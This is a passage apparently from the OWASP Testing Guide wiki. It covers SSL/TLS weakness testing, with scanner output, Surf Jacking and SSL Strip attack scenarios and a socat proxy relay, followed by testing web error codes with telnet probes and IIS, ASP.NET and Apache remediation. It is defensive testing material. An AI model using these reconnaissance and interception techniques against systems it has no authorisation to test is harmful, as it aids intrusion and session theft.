0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....

[-] Closing connection

[!] Vulnerable to Heartbleed bug (CVE-2014-0160) mentioned in http://heartbleed.com/
[!] Vulnerability Status: VULNERABLE

=====================================

Loading module: CCS Injection script by TripWire VERT ...

Checking localhost:443 for OpenSSL ChangeCipherSpec (CCS) Injection bug (CVE-2014-0224) ...

[!] The target may allow early CCS on TLSv1.2
[!] The target may allow early CCS on TLSv1.1
[!] The target may allow early CCS on TLSv1
[!] The target may allow early CCS on SSLv3

[-] This is an experimental detection script and does not definitively determine vulnerable server status.

[!] Potentially vulnerable to OpenSSL ChangeCipherSpec (CCS) Injection vulnerability (CVE-2014-0224) mentioned in http://ccsinjection.lepidum.co.jp/
[!] Vulnerability Status: Possible

=====================================

Checking localhost:443 for HTTP Compression support against BREACH vulnerability (CVE-2013-3587) ...

[*] HTTP Compression: DISABLED
[*] Immune from BREACH attack mentioned in https://media.blackhat.com/us-13/US-13-Prado-SSL-Gone-in-30-seconds-A-BREACH-beyond-CRIME-WP.pdf
[*] Vulnerability Status: No

--------------- RAW HTTP RESPONSE ---------------

HTTP/1.1 200 OK
Date: Wed, 23 Jul 2014 13:48:07 GMT
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7
X-Powered-By: PHP/5.4.7
Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/; secure
Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/
Content-Length: 193
Connection: close
Content-Type: text/html

<html>
<head>
<title>Login page </title>
</head>
<body>
<script src="http://othersite/test.js"></script>

<link rel="stylesheet" type="text/css" href="http://somesite/test.css">

=====================================

Checking localhost:443 for correct use of Strict Transport Security (STS) response header (RFC6797) ...

[!] STS response header: NOT PRESENT
[!] Vulnerable to MITM threats mentioned in https://www.owasp.org/index.php/HTTP_Strict_Transport_Security#Threats
[!] Vulnerability Status: VULNERABLE

--------------- RAW HTTP RESPONSE ---------------

HTTP/1.1 200 OK
Date: Wed, 23 Jul 2014 13:48:07 GMT
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7
X-Powered-By: PHP/5.4.7
Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/; secure
Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/
Content-Length: 193
Connection: close
Content-Type: text/html

<html>
<head>
<title>Login page </title>
</head>
<body>
<script src="http://othersite/test.js"></script>

<link rel="stylesheet" type="text/css" href="http://somesite/test.css">

=====================================

Checking localhost for HTTP support against HTTPS Stripping attack ...

[!] HTTP Support on port [80] : SUPPORTED
[!] Vulnerable to HTTPS Stripping attack mentioned in https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf
[!] Vulnerability Status: VULNERABLE

=====================================

Checking localhost:443 for HTTP elements embedded in SSL page ...

[!] HTTP elements embedded in SSL page: PRESENT
[!] Vulnerable to MITM malicious content injection attack
[!] Vulnerability Status: VULNERABLE

--------------- HTTP RESOURCES EMBEDDED ---------------
- http://othersite/test.js
- http://somesite/test.css

=====================================

Checking localhost:443 for ROBUST use of anti-caching mechanism ...

[!] Cache Control Directives: NOT PRESENT
[!] Browsers, Proxies and other Intermediaries will cache SSL page and sensitive information will be leaked.
[!] Vulnerability Status: VULNERABLE

-------------------------------------------------

Robust Solution:

- Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0, max-age=0, s-maxage=0
- Ref: https://www.owasp.org/index.php/Testing_for_Browser_cache_weakness_(OTG-AUTHN-006)
http://msdn.microsoft.com/en-us/library/ms533020(v=vs.85).aspx

=====================================

Checking localhost:443 for Surf Jacking vulnerability (due to Session Cookie missing secure flag) ...

[!] Secure Flag in Set-Cookie: PRESENT BUT NOT IN ALL COOKIES
[!] Vulnerable to Surf Jacking attack mentioned in https://resources.enablesecurity.com/resources/Surf%20Jacking.pdf
[!] Vulnerability Status: VULNERABLE

--------------- RAW HTTP RESPONSE ---------------

HTTP/1.1 200 OK
Date: Wed, 23 Jul 2014 13:48:07 GMT
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7
X-Powered-By: PHP/5.4.7
Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/; secure
Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/
Content-Length: 193
Connection: close
Content-Type: text/html

=====================================

Checking localhost:443 for ECDHE/DHE ciphers against FORWARD SECRECY support ...

[*] Forward Secrecy: SUPPORTED
[*] Connected using cipher - TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA on protocol - TLSv1
[*] Attackers will NOT be able to decrypt sniffed SSL packets even if they have compromised private keys.
[*] Vulnerability Status: No

=====================================

Checking localhost:443 for RC4 support (CVE-2013-2566) ...

[!] RC4: SUPPORTED
[!] Vulnerable to MITM attack described in http://www.isg.rhul.ac.uk/tls/
[!] Vulnerability Status: VULNERABLE

=====================================

Checking localhost:443 for TLS 1.1 support ...

Checking localhost:443 for TLS 1.2 support ...

[*] TLS 1.1, TLS 1.2: SUPPORTED
[*] Immune from BEAST attack mentioned in http://www.infoworld.com/t/security/red-alert-https-has-been-hacked-174025
[*] Vulnerability Status: No

=====================================

Loading module: sslyze by iSecPartners ...

Checking localhost:443 for Session Renegotiation support (CVE-2009-3555,CVE-2011-1473,CVE-2011-5094) ...

[*] Secure Client-Initiated Renegotiation : NOT SUPPORTED
[*] Mitigated from DOS attack (CVE-2011-1473,CVE-2011-5094) mentioned in https://www.thc.org/thc-ssl-dos/
[*] Vulnerability Status: No

[*] INSECURE Client-Initiated Renegotiation : NOT SUPPORTED
[*] Immune from TLS Plain-text Injection attack (CVE-2009-3555) - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555
[*] Vulnerability Status: No

=====================================

Loading module: TestSSLServer by Thomas Pornin ...

Checking localhost:443 for SSL version 2 support ...

[*] SSL version 2 : NOT SUPPORTED
[*] Immune from SSLv2-based MITM attack
[*] Vulnerability Status: No

=====================================

Checking localhost:443 for LANE (LOW,ANON,NULL,EXPORT) weak ciphers support ...

Supported LANE cipher suites:
SSLv3
RSA_EXPORT_WITH_RC4_40_MD5
RSA_EXPORT_WITH_RC2_CBC_40_MD5
RSA_EXPORT_WITH_DES40_CBC_SHA
RSA_WITH_DES_CBC_SHA
DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
DHE_RSA_WITH_DES_CBC_SHA
TLS_ECDH_anon_WITH_RC4_128_SHA
TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA
TLS_ECDH_anon_WITH_AES_256_CBC_SHA
(TLSv1.0: same as above)
(TLSv1.1: same as above)
(TLSv1.2: same as above)

[!] LANE ciphers : SUPPORTED
[!] Attackers may be ABLE to recover encrypted packets.
[!] Vulnerability Status: VULNERABLE

=====================================

Checking localhost:443 for GCM/CCM ciphers support against Lucky13 attack (CVE-2013-0169) ...

Supported GCM cipher suites against Lucky13 attack:
TLSv1.2
TLS_RSA_WITH_AES_128_GCM_SHA256
TLS_RSA_WITH_AES_256_GCM_SHA384
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

[*] GCM/CCM ciphers : SUPPORTED
[*] Immune from Lucky13 attack mentioned in http://www.isg.rhul.ac.uk/tls/Lucky13.html
[*] Vulnerability Status: No

=====================================

Checking localhost:443 for TLS Compression support against CRIME (CVE-2012-4929) & TIME attack ...

[*] TLS Compression : DISABLED
[*] Immune from CRIME & TIME attack mentioned in https://media.blackhat.com/eu-13/briefings/Beery/bh-eu-13-a-perfect-crime-beery-wp.pdf
[*] Vulnerability Status: No

=====================================

[+] Breacher finished scanning in 12 seconds.
[+] Get your latest copy at http://yehg.net/

</pre>

===Testing SSL certificate validity – client and server===
Firstly upgrade the browser because CA certs expire and in every release of the browser these are renewed. Examine the validity of the certificates used by the application. Browsers will issue a warning when encountering expired certificates, certificates issued by untrusted CAs, and certificates which do not match name wise with the site to which they should refer.

By clicking on the padlock that appears in the browser window when visiting an HTTPS site, testers can look at information related to the certificate – including the issuer, period of validity, encryption characteristics, etc. If the application requires a client certificate, that tester has probably installed one to access it. Certificate information is available in the browser by inspecting the relevant certificate(s) in the list of the installed certificates.

These checks must be applied to all visible SSL-wrapped communication channels used by the application. Though this is the usual https service running on port 443, there may be additional services involved depending on the web application architecture and on deployment issues (an HTTPS administrative port left open, HTTPS services on non-standard ports, etc.). Therefore, apply these checks to all SSL-wrapped ports which have been discovered. For example, the nmap scanner features a scanning mode (enabled by the –sV command line switch) which identifies SSL-wrapped services. The Nessus vulnerability scanner has the capability of performing SSL checks on all SSL/TLS-wrapped services.

====Example 1. Testing for certificate validity (manually)====
Rather than providing a fictitious example, this guide includes an anonymized real-life example to stress how frequently one stumbles on https sites whose certificates are inaccurate with respect to naming. The following screenshots refer to a regional site of a high-profile IT company.

We are visiting a .it site and the certificate was issued to a .com site. Internet Explorer warns that the name on the certificate does not match the name of the site.

[[Image:SSL Certificate Validity Testing IE Warning.gif]]

''Warning issued by Microsoft Internet Explorer''

The message issued by Firefox is different. Firefox complains because it cannot ascertain the identity of the .com site the certificate refers to because it does not know the CA which signed the certificate. In fact, Internet Explorer and Firefox do not come pre-loaded with the same list of CAs. Therefore, the behavior experienced with various browsers may differ.

[[Image:SSL Certificate Validity Testing Firefox Warning.gif]]

''Warning issued by Mozilla Firefox''

===Testing for other vulnerabilities===
As mentioned previously, there are other types of vulnerabilities that are not related with the SSL/TLS protocol used, the cipher suites or Certificates. Apart from other vulnerabilities discussed in other parts of this guide, a vulnerability exists when the server provides the website both with the HTTP and HTTPS protocols, and permits an attacker to force a victim into using a non-secure channel instead of a secure one.

====Surf Jacking====
The Surf Jacking attack [7] was first presented by Sandro Gauci and permits to an attacker to hijack an HTTP session even when the victim’s connection is encrypted using SSL or TLS.

The following is a scenario of how the attack can take place:
* Victim logs into the secure website at https://somesecuresite/.
* The secure site issues a session cookie as the client logs in.
* While logged in, the victim opens a new browser window and goes to http:// examplesite/
* An attacker sitting on the same network is able to see the clear text traffic to http://examplesite.
* The attacker sends back a "301 Moved Permanently" in response to the clear text traffic to http://examplesite. The response contains the header “Location: http://somesecuresite /”, which makes it appear that examplesite is sending the web browser to somesecuresite. Notice that the URL scheme is HTTP not HTTPS.
* The victim's browser starts a new clear text connection to http://somesecuresite/ and sends an HTTP request containing the cookie in the HTTP header in clear text
* The attacker sees this traffic and logs the cookie for later use.

To test if a website is vulnerable carry out the following tests:
# Check if website supports both HTTP and HTTPS protocols
# Check if cookies do not have the “Secure” flag

====SSL Strip====
Some applications supports both HTTP and HTTPS, either for usability or so users can type both addresses and get to the site. Often users go into an HTTPS website from link or a redirect. Typically personal banking sites have a similar configuration with an iframed log in or a form with action attribute over HTTPS but the page under HTTP.

An attacker in a privileged position - as described in SSL strip [8] - can intercept traffic when the user is in the http site and manipulate it to get a Man-In-The-Middle attack under HTTPS. An application is vulnerable if it supports both HTTP and HTTPS.

===Testing via HTTP proxy===

Inside corporate environments testers can see services that are not directly accessible and they can access them only via HTTP proxy using the CONNECT method [36]. Most of the tools will not work in this scenario because they try to connect to the desired tcp port to start the SSL/TLS handshake. With the help of relaying software such as socat [37] testers can enable those tools for use with services behind an HTTP proxy.

====Example 8. Testing via HTTP proxy====

To connect to destined.application.lan:443 via proxy 10.13.37.100:3128 run socat as follows:
<pre>
$ socat TCP-LISTEN:9999,reuseaddr,fork PROXY:10.13.37.100:destined.application.lan:443,proxyport=3128
</pre>

Then the tester can target all other tools to localhost:9999:
<pre>
$ openssl s_client -connect localhost:9999
</pre>

All connections to localhost:9999 will be effectively relayed by socat via proxy to destined.application.lan:443.

== Configuration Review ==

===Testing for Weak SSL/TLS Cipher Suites===
Check the configuration of the web servers that provide https services. If the web application provides other SSL/TLS wrapped services, these should be checked as well.

====Example 9. Windows Server====
Check the configuration on a Microsoft Windows Server (2000, 2003 and 2008) using the registry key:
<pre>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\</pre>
that has some sub-keys including Ciphers, Protocols and KeyExchangeAlgorithms.

====Example 10: Apache====
To check the cipher suites and protocols supported by the Apache2 web server, open the ssl.conf file and search for the SSLCipherSuite, SSLProtocol, SSLHonorCipherOrder,SSLInsecureRenegotiation and SSLCompression directives.

===Testing SSL certificate validity – client and server===
Examine the validity of the certificates used by the application at both server and client levels. The usage of certificates is primarily at the web server level, however, there may be additional communication paths protected by SSL (for example, towards the DBMS). Testers should check the application architecture to identify all SSL protected channels.

==Tools==
*[21][Qualys SSL Labs - SSL Server Test|https://www.ssllabs.com/ssltest/index.html]: internet facing scanner
*[27] [Tenable - Nessus Vulnerability Scanner|http://www.tenable.com/products/nessus]: includes some plugins to test different SSL related vulnerabilities, Certificates and the presence of HTTP Basic authentication without SSL.
*[32] [TestSSLServer|http://www.bolet.org/TestSSLServer/]: a java scanner - and also windows executable - includes tests for cipher suites, CRIME and BEAST
*[33] [sslyze|https://github.com/iSECPartners/sslyze]: is a python script to check vulnerabilities in SSL/TLS.
*[28] [SSLAudit|https://code.google.com/p/sslaudit/]: a perl script/windows executable scanner which follows Qualys SSL Labs Rating Guide.
*[29] [SSLScan|http://sourceforge.net/projects/sslscan/] with [SSL Tests|http://www.pentesterscripting.com/discovery/ssl_tests]: a SSL Scanner and a wrapper in order to enumerate SSL vulnerabilities.
*[31] [nmap|http://nmap.org/]: can be used primary to identify SSL-based services and then to check Certificate and SSL/TLS vulnerabilities. In particular it has some scripts to check [Certificate and SSLv2|http://nmap.org/nsedoc/scripts/ssl-cert.html] and supported [SSL/TLS protocols/ciphers|http://nmap.org/nsedoc/scripts/ssl-enum-ciphers.html] with an internal rating.
*[30] [curl|http://curl.haxx.se/] and [openssl|http://www.openssl.org/]: can be used to query manually SSL/TLS services
*[9] [Stunnel|http://www.stunnel.org]: a noteworthy class of SSL clients is that of SSL proxies such as stunnel available at which can be used to allow non-SSL enabled tools to talk to SSL services)
*[37] [socat| http://www.dest-unreach.org/socat/]: Multipurpose relay
*[38] [testssl.sh| https://testssl.sh/ ]

==References==
'''OWASP Resources'''
* [5] [OWASP Testing Guide - Testing for cookie attributes (OTG-SESS-002)|https://www.owasp.org/index.php/Testing_for_cookies_attributes_(OTG-SESS-002)]
* [4][OWASP Testing Guide - Test Network/Infrastructure Configuration (OTG-CONFIG-001)|https://www.owasp.org/index.php/Test_Network/Infrastructure_Configuration_(OTG-CONFIG-001)]
* [6] [OWASP Testing Guide - Testing for HTTP_Strict_Transport_Security (OTG-CONFIG-007)|https://www.owasp.org/index.php/Test_HTTP_Strict_Transport_Security_(OTG-CONFIG-007)]
* [2] [OWASP Testing Guide - Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-003)|https://www.owasp.org/index.php/Testing_for_Sensitive_information_sent_via_unencrypted_channels_(OTG-CRYPST-003)]
* [3] [OWASP Testing Guide - Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)|https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_an_Encrypted_Channel_(OTG-AUTHN-001)]
* [22] [OWASP Cheat sheet - Transport Layer Protection|https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet]
* [23] [OWASP TOP 10 2013 - A6 Sensitive Data Exposure|https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure]
* [24] [OWASP TOP 10 2010 - A9 Insufficient Transport Layer Protection|https://www.owasp.org/index.php/Top_10_2010-A9-Insufficient_Transport_Layer_Protection]
* [25] [OWASP ASVS 2009 - Verification 10|https://code.google.com/p/owasp-asvs/wiki/Verification_V10]
* [26] [OWASP Application Security FAQ - Cryptography/SSL|https://www.owasp.org/index.php/OWASP_Application_Security_FAQ#Cryptography.2FSSL]

'''Whitepapers'''
* [1] [RFC5246 - The Transport Layer Security (TLS) Protocol Version 1.2 (Updated by RFC 5746, RFC 5878, RFC 6176)|http://www.ietf.org/rfc/rfc5246.txt]
* [36] [RFC2817 - Upgrading to TLS Within HTTP/1.1|]
* [34] [RFC6066 - Transport Layer Security (TLS) Extensions: Extension Definitions|http://www.ietf.org/rfc/rfc6066.txt]
* [11] [SSLv2 Protocol Multiple Weaknesses |http://osvdb.org/56387]
* [12] [Mitre - TLS Renegotiation MiTM|http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555]
* [13] [Qualys SSL Labs - TLS Renegotiation DoS|https://community.qualys.com/blogs/securitylabs/2011/10/31/tls-renegotiation-and-denial-of-service-attacks]
* [10] [Qualys SSL Labs - SSL/TLS Deployment Best Practices|https://www.ssllabs.com/projects/best-practices/index.html]
* [14] [Qualys SSL Labs - SSL Server Rating Guide|https://www.ssllabs.com/projects/rating-guide/index.html]
* [20] [Qualys SSL Labs - SSL Threat Model|https://www.ssllabs.com/projects/ssl-threat-model/index.html]
* [18] [Qualys SSL Labs - Forward Secrecy|https://community.qualys.com/blogs/securitylabs/2013/06/25/ssl-labs-deploying-forward-secrecy]
* [15] [Qualys SSL Labs - RC4 Usage|https://community.qualys.com/blogs/securitylabs/2013/03/19/rc4-in-tls-is-broken-now-what]
* [16] [Qualys SSL Labs - BEAST|https://community.qualys.com/blogs/securitylabs/2011/10/17/mitigating-the-beast-attack-on-tls]
* [17] [Qualys SSL Labs - CRIME|https://community.qualys.com/blogs/securitylabs/2012/09/14/crime-information-leakage-attack-against-ssltls]
* [7] [SurfJacking attack|https://resources.enablesecurity.com/resources/Surf%20Jacking.pdf]
* [8] [SSLStrip attack|http://www.thoughtcrime.org/software/sslstrip/]
* [19] [PCI-DSS v2.0|https://www.pcisecuritystandards.org/security_standards/documents.php]
* [35] [Xiaoyun Wang, Hongbo Yu: How to Break MD5 and Other Hash Functions| http://link.springer.com/chapter/10.1007/11426639_2]

[[Category:Cryptographic Vulnerability]]
[[Category:SSL]]

Testing for Error Code (OTG-ERR-001)

2014-08-08T12:53:44Z

Andrew Muller:

{{Template:OWASP Testing Guide v4}}

== Summary ==

Often, during a penetration test on web applications, we come up against many error codes generated from applications or web servers.
It's possible to cause these errors to be displayed by using a particular requests, either specially crafted with tools or created manually.
These codes are very useful to penetration testers during their activities, because they reveal a lot of information about databases, bugs, and other technological components directly linked with web applications.

This section analyses the more common codes (error messages) and bring into focus their relevance during a vulnerability assessment.
The most important aspect for this activity is to focus one's attention on these errors, seeing them as a collection of information that will aid in the next steps of our analysis. A good collection can facilitate assessment efficiency by decreasing the overall time taken to perform the penetration test.

Attackers sometimes use search engines to locate errors that disclose information. Searches can be performed to find any erroneous sites as random victims, or it is possible to search for errors in a specific site using the search engine filtering tools as described in [https://www.owasp.org/index.php/Conduct_search_engine_discovery/reconnaissance_for_information_leakage_(OTG-INFO-001) 4.2.1 Conduct Search Engine Discovery and Reconnaissance for Information Leakage (OTG-INFO-001)]

===Web Server Errors===

A common error that we can see during testing is the HTTP 404 Not Found.
Often this error code provides useful details about the underlying web server and associated components. For example:

<pre>
Not Found
The requested URL /page.html was not found on this server.
Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g DAV/2 PHP/5.1.2 Server at localhost Port 80
</pre>

This error message can be generated by requesting a non-existent URL.
After the common message that shows a page not found, there is information about web server version, OS, modules and other products used.
This information can be very important from an OS and application type and version identification point of view.

Other HTTP response codes such as 400 Bad Request, 405 Method Not Allowed, 501 Method Not Implemented, 408 Request Time-out and 505 HTTP Version Not Supported can be forced by an attacker. When receiving specially crafted requests, web servers may provide one of these error codes depending on their HTTP implementation.

Testing for disclosed information in the Web Server error codes is related testing for information disclosed in the HTTP headers as described in the section [https://www.owasp.org/index.php/Fingerprint_Web_Server_(OTG-INFO-002) Fingerprint Web Server (OTG-INFO-002)].

===Application Server Errors===

Application errors are returned by the application itself, rather than the web server. These could be error messages from framework code (ASP, JSP etc.) or they could be specific errors returned by the application code.
Detailed application errors typically provide information of server paths, installed libraries and application versions.

===Database Errors===

Database errors are those returned by the Database System when there is a problem with the query or the connection. Each Database system, such as MySQL, Oracle or MSSQL, has their own set of errors. Those errors can provide sensible information such as Database server IPs, tables, columns and login details.

In addition, there are many SQL Injection exploitation techniques that utilize detailed error messages from the database driver, for in depth information on this issue see [[Testing for SQL Injection (OTG-INPVAL-005)]] for more information.

Web server errors aren't the only useful output returned requiring security analysis. Consider the next example error message:

<pre>
Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
[DBNETLIB][ConnectionOpen(Connect())] - SQL server does not exist or access denied
</pre>

What happened? We will explain step-by-step below.

In this example, the 80004005 is a generic IIS error code which indicates that it could not establish a connection to its associated database. In many cases, the error message will detail the type of the database. This will often indicate the underlying operating system by association. With this information, the penetration tester can plan an appropriate strategy for the security test.

By manipulating the variables that are passed to the database connect string, we can invoke more detailed errors.
<pre>
Microsoft OLE DB Provider for ODBC Drivers error '80004005'
[Microsoft][ODBC Access 97 ODBC driver Driver]General error Unable to open registry key 'DriverId'
</pre>

In this example, we can see a generic error in the same situation which reveals the type and version of the associated database system and a dependence on Windows operating system registry key values.

Now we will look at a practical example with a security test against a web application that loses its link to its database server and does not handle the exception in a controlled manner. This could be caused by a database name resolution issue, processing of unexpected variable values, or other network problems.

Consider the scenario where we have a database administration web portal, which can be used as a front end GUI to issue database queries, create tables, and modify database fields. During the POST of the logon credentials, the following error message is presented to the penetration tester. The message indicates the presence of a MySQL database server:

<pre>
Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
[MySQL][ODBC 3.51 Driver]Unknown MySQL server host
</pre>

If we see in the HTML code of the logon page the presence of a '''hidden field''' with a database IP, we can try to change this value in the URL with the address of database server under the penetration tester's control in an attempt to fool the application into thinking that the logon was successful.

Another example: knowing the database server that services a web application, we can take advantage of this information to carry out a SQL Injection for that kind of database or a persistent XSS test.

== How to Test ==
Below are some examples of testing for detailed error messages returned to the user. Each of the below examples has specific information about the operating system, application version, etc.

'''Test: 404 Not Found'''
<pre>
telnet <host target> 80
GET /<wrong page> HTTP/1.1
host: <host target>
<CRLF><CRLF>
</pre>
'''Result:'''
<pre>
HTTP/1.1 404 Not Found
Date: Sat, 04 Nov 2006 15:26:48 GMT
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g
Content-Length: 310
Connection: close
Content-Type: text/html; charset=iso-8859-1
...
<title>404 Not Found</title>
...
<address>Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g at <host target> Port 80</address>
...
</pre>

'''Test:'''
<pre>
Network problems leading to the application being unable to access the database server
</pre>
'''Result:'''
<pre>
Microsoft OLE DB Provider for ODBC Drivers (0x80004005) '
[MySQL][ODBC 3.51 Driver]Unknown MySQL server host
</pre>

'''Test:'''
<pre>
Authentication failure due to missing credentials
</pre>
'''Result:'''

Firewall version used for authentication:<br>
<pre>
Error 407
FW-1 at <firewall>: Unauthorized to access the document.
• Authorization is needed for FW-1.
• The authentication required by FW-1 is: unknown.
• Reason for failure of last attempt: no user
</pre>

'''Test: 400 Bad Request'''
<pre>
telnet <host target> 80
GET / HTTP/1.1
<CRLF><CRLF>
</pre>
'''Result:'''
<pre>
HTTP/1.1 400 Bad Request
Date: Fri, 06 Dec 2013 23:57:53 GMT
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch
Vary: Accept-Encoding
Content-Length: 301
Connection: close
Content-Type: text/html; charset=iso-8859-1
...
<title>400 Bad Request</title>
...
<address>Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch at 127.0.1.1 Port 80</address>
...
</pre>

'''Test: 405 Method Not Allowed'''
<pre>
telnet <host target> 80
PUT /index.html HTTP/1.1
Host: <host target>
<CRLF><CRLF>
</pre>
'''Result:'''
<pre>
HTTP/1.1 405 Method Not Allowed
Date: Fri, 07 Dec 2013 00:48:57 GMT
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch
Allow: GET, HEAD, POST, OPTIONS
Vary: Accept-Encoding
Content-Length: 315
Connection: close
Content-Type: text/html; charset=iso-8859-1
...
<title>405 Method Not Allowed</title>
...
<address>Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch at <host target> Port 80</address>
...
</pre>

'''Test: 408 Request Time-out'''
<pre>
telnet <host target> 80
GET / HTTP/1.1
- Wait X seconds – (Depending on the target server, 21 seconds for Apache by default)
</pre>
'''Result:'''
<pre>
HTTP/1.1 408 Request Time-out
Date: Fri, 07 Dec 2013 00:58:33 GMT
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch
Vary: Accept-Encoding
Content-Length: 298
Connection: close
Content-Type: text/html; charset=iso-8859-1
...
<title>408 Request Time-out</title>
...
<address>Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch at <host target> Port 80</address>
...
</pre>

'''Test: 501 Method Not Implemented'''
<pre>
telnet <host target> 80
RENAME /index.html HTTP/1.1
Host: <host target>
<CRLF><CRLF>
</pre>
'''Result:'''
<pre>
HTTP/1.1 501 Method Not Implemented
Date: Fri, 08 Dec 2013 09:59:32 GMT
Server: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch
Allow: GET, HEAD, POST, OPTIONS
Vary: Accept-Encoding
Content-Length: 299
Connection: close
Content-Type: text/html; charset=iso-8859-1
...
<title>501 Method Not Implemented</title>
...
<address>Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch at <host target> Port 80</address>
...
</pre>

'''Test:'''
<pre>
Enumeration of directories by using access denied error messages:<br>

http://<host>/<dir>
</pre>
'''Result:'''
<pre>
Directory Listing Denied
This Virtual Directory does not allow contents to be listed.
</pre>
<pre>
Forbidden
You don't have permission to access /<dir> on this server.
</pre>

==Remediation==

===Error Handling in IIS and ASP .net===

ASP .net is a common framework from Microsoft used for developing web applications. IIS is one of the commonly used web servers. Errors occur in all applications, developers try to trap most errors but it is almost impossible to cover each and every exception (it is however possible to configure the web server to suppress detailed error messages from being returned to the user).

IIS uses a set of custom error pages generally found in c:\winnt\help\iishelp\common to display errors like '404 page not found' to the user. These default pages can be changed and custom errors can be configured for IIS server. When IIS receives a request for an aspx page, the request is passed on to the dot net framework.

There are various ways by which errors can be handled in dot net framework. Errors are handled at three places in ASP .net:

# Inside Web.config customErrors section
# Inside global.asax Application_Error Sub
# At the the aspx or associated codebehind page in the Page_Error sub

'''Handling errors using web.config'''
<pre>
<customErrors defaultRedirect="myerrorpagedefault.aspx" mode="On|Off|RemoteOnly">
<error statusCode="404" redirect="myerrorpagefor404.aspx"/>
<error statusCode="500" redirect="myerrorpagefor500.aspx"/>
</customErrors>
</pre>

mode="On" will turn on custom errors. mode=RemoteOnly will show custom errors to the remote web application users. A user accessing the server locally will be presented with the complete stack trace and custom errors will not be shown to him.

All the errors, except those explicitly specified, will cause a redirection to the resource specified by defaultRedirect, i.e., myerrorpagedefault.aspx.
A status code 404 will be handled by myerrorpagefor404.aspx.

'''Handling errors in Global.asax'''

When an error occurs, the Application_Error sub is called. A developer can write code for error handling/page redirection in this sub.

<pre>
Private Sub Application_Error (ByVal sender As Object, ByVal e As System.EventArgs)
Handles MyBase.Error
End Sub
</pre>

'''Handling errors in Page_Error sub'''

This is similar to application error.

<pre>
Private Sub Page_Error (ByVal sender As Object, ByVal e As System.EventArgs)
Handles MyBase.Error
End Sub
</pre>

'''Error hierarchy in ASP .net'''

Page_Error sub will be processed first, followed by global.asax Application_Error sub, and, finally, customErrors section in web.config file.

Information Gathering on web applications with server-side technology is quite difficult, but the information discovered can be useful for the correct execution of an attempted exploit (for example, SQL injection or Cross Site Scripting (XSS) attacks) and can reduce false positives.

'''How to test for ASP.net and IIS Error Handling'''

Fire up your browser and type a random page name

<pre>
http:\\www.mywebserver.com\anyrandomname.asp
</pre>

If the server returns

<pre>
The page cannot be found

Internet Information Services
</pre>

it means that IIS custom errors are not configured. Please note the .asp extension.

Also test for .net custom errors. Type a random page name with aspx extension in your browser

<pre>
http:\\www.mywebserver.com\anyrandomname.aspx
</pre>

If the server returns

<pre>
Server Error in '/' Application.
--------------------------------------------------------------------------------

The resource cannot be found.
Description: HTTP 404. The resource you are looking for (or one of its dependencies) could have been removed, had its name changed, or is temporarily unavailable. Please review the following URL and make sure that it is spelled correctly.
</pre>

custom errors for .net are not configured.

===Error Handling in Apache===

Apache is a common HTTP server for serving HTML and PHP web pages. By default, Apache shows the server version, products installed and OS system in the HTTP error responses.

Responses to the errors can be configured and customized globally, per site or per directory in the apache2.conf using the ErrorDocument directive [2]

<pre>
ErrorDocument 404 “Customized Not Found error message”
ErrorDocument 403 /myerrorpagefor403.html
ErrorDocument 501 http://www.externaldomain.com/errorpagefor501.html
</pre>

Site administrators are able to manage their own errors using .htaccess file if the global directive AllowOverride is configured properly in apache2.conf [3]

The information shown by Apache in the HTTP errors can also be configured using the directives ServerTokens [4] and ServerSignature [5] at apache2.conf configuration file. “ServerSignature Off” (On by default) removes the server information from the error responses, while ServerTokens [ProductOnly|Major|Minor|Minimal|OS|Full] (Full by default) defines what information has to be shown in the error pages.

===Error Handling in Tomcat===

